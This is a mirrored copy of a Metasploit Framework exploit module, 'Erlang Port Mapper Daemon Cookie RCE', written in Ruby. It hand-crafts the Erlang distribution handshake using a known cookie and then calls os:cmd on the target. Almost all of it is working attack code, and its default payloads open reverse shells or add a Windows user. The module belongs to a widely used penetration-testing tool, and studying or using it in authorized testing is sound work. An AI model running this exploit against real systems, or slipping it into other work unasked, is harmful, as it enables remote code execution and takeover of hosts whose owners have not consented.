CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/erlang_cookie_rce.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
17
'Description' => %q{
18
The erlang port mapper daemon is used to coordinate distributed erlang instances.
19
Should an attacker get the authentication cookie RCE is trivial. Usually, this
20
cookie is named ".erlang.cookie" and varies on location.
21
},
22
'Author' =>
23
[
24
'Daniel Mende', # blog post article
25
'Milton Valencia (wetw0rk)', # metasploit module
26
],
27
'References' =>
28
[
29
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
30
],
31
'License' => MSF_LICENSE,
32
'Privileged' => 'false',
33
'Targets' =>
34
[
35
[ 'Unix',
36
'Platform' => 'unix',
37
'Arch' => ARCH_CMD,
38
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
39
],
40
[ 'Linux (CmdStager)',
41
'Type' => :cmdstager,
42
'Platform' => 'linux',
43
'Arch' => [ARCH_X64, ARCH_X86],
44
'CmdStagerFlavor' => ['printf', 'echo', 'bourne']
45
],
46
[ 'Windows',
47
'Platform' => 'win',
48
'Arch' => ARCH_CMD,
49
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'},
50
],
51
[ 'Windows (CmdStager)',
52
'Type' => :cmdstager,
53
'Platform' => 'win',
54
'Arch' => [ARCH_X64, ARCH_X86],
55
'CmdStagerFlavor' => ['certutil', 'vbs'],
56
'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'}
57
]
58
],
59
'DefaultTarget' => 0,
60
'DisclosureDate' => '2009-11-20', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
61
)
62
)
63
64
register_options(
65
[
66
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
67
Opt::RPORT(25672)
68
])
69
end
70
71
def generate_challenge_digest(challenge)
72
challenge = challenge.unpack('H*')[0].to_i(16).to_s
73
74
hash = Digest::MD5.new
75
hash.update(datastore['COOKIE'])
76
hash.update(challenge)
77
78
vprint_status("MD5 digest generated: #{hash.hexdigest}")
79
return [hash.hexdigest].pack('H*')
80
end
81
82
def execute_command(cmd, opts={})
83
# SEND: send the message to the node
84
send = "\x00\x00\x00" # Length:0x00000000
85
send << [(0x50 + cmd.length + @our_node.length*2).to_s(16)].pack('H*') #
86
send << "\x70" #
87
send << "\x83" # VERSION_MAGIC
88
send << "\x68" # SMALL_TUPLE_EXT (104)
89
send << "\x04" # Arity: 4
90
send << "\x61" # SMALL_INTEGER_EXT
91
send << "\x06" # Int: 6
92
send << "\x67" # PID_EXT (103)
93
send << "\x64\x00" # Node:
94
send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
95
send << "#{@our_node}" # Node
96
send << "\x00\x00\x00\x03" # ID
97
send << "\x00\x00\x00\x00" # Serial
98
send << "\x00" # Creation
99
send << "\x64" # InternalSegmentIndex
100
send << "\x00\x00" # Len: 0x0000
101
send << "\x64" # InternalSegmentIndex
102
send << "\x00\x03" # Length: 3
103
send << "rex" # AtomText: rex
104
send << "\x83\x68\x02\x67\x64\x00" #
105
send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
106
send << "#{@our_node}" # Node
107
send << "\x00\x00\x00\x03" # ID
108
send << "\x00\x00\x00\x00" # Serial
109
send << "\x00" # Creation
110
send << "\x68" # SMALL_TUPLE_EXT (104)
111
send << "\x05" # Arity: 5
112
send << "\x64" # InternalSegmentIndex
113
send << "\x00\x04" # Length: 4
114
send << "call" # AtomText: call
115
send << "\x64" # InternalSegmentIndex
116
send << "\x00\x02" # Length: 2
117
send << "os" # AtomText: os
118
send << "\x64" # InternalSegmentIndex
119
send << "\x00\x03" # Length: 3
120
send << "cmd" # AtomText: cmd
121
send << "\x6c" # LIST_EXT
122
send << "\x00\x00\x00\x01" # Length: 1
123
send << "\x6b" # Elements: k
124
send << "\x00" # Tail
125
send << [(cmd.length).to_s(16)].pack('H*') # strlen(Command)
126
send << cmd
127
send << "\x6a" # NIL_EXT
128
send << "\x64" # InternalSegmentIndex
129
send << "\x00\x04" # Length: 4
130
send << "user" # AtomText: user
131
sock.put(send)
132
end
133
134
def exploit
135
connect
136
137
@our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"
138
139
# SEND_NAME: send initial identification of who "we" are
140
send_name = "\x00" # Length: 0x0000
141
send_name << [(@our_node.length+7).to_s(16)].pack('H*') #
142
send_name << "\x6e" # Tag: n
143
send_name << "\x00\x05" # Version: R6 (5)
144
send_name << "\x00\x07\x49\x9c" # Flags (0x0007499c)
145
# DFLAG_EXTENDED_REFERENCES (0x4)
146
# DFLAG_DIST_MONITOR (0x8)
147
# DFLAG_FUN_TAGS (0x10)
148
# DFLAG_NEW_FUN_TAGS (0x80)
149
# DFLAG_EXTENDED_PIDS_PORTS (0x100)
150
# DFLAG_NEW_FLOATS (0x800)
151
# DFLAG_SMALL_ATOM_TAGS (0x4000)
152
# DFLAG_UTF8_ATOMS (0x10000)
153
# DFLAG_MAP_TAG (0x20000)
154
# DFLAG_BIG_CREATION (0x40000)
155
send_name << "#{@our_node}" # <generated>@<generated>
156
157
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
158
send_challenge_reply = "\x00\x15" # Length: 21
159
send_challenge_reply << "\x72" # Tag: r
160
161
sock.put(send_name)
162
163
# receive servers "SEND_CHALLENGE" token (4 bytes)
164
print_status("Receiving server challenge")
165
challenge = sock.get
166
challenge = challenge[14,4]
167
168
send_challenge_reply << challenge
169
send_challenge_reply << generate_challenge_digest(challenge)
170
171
print_status("Sending challenge reply")
172
sock.put(send_challenge_reply)
173
174
if sock.get.length < 1
175
fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
176
end
177
178
print_good("Authentication successful, sending payload")
179
180
print_status('Exploiting...')
181
if target['Type'] == :cmdstager
182
execute_cmdstager(:linemax => 100)
183
else
184
execute_command(payload.raw)
185
end
186
disconnect
187
end
188
end
189
190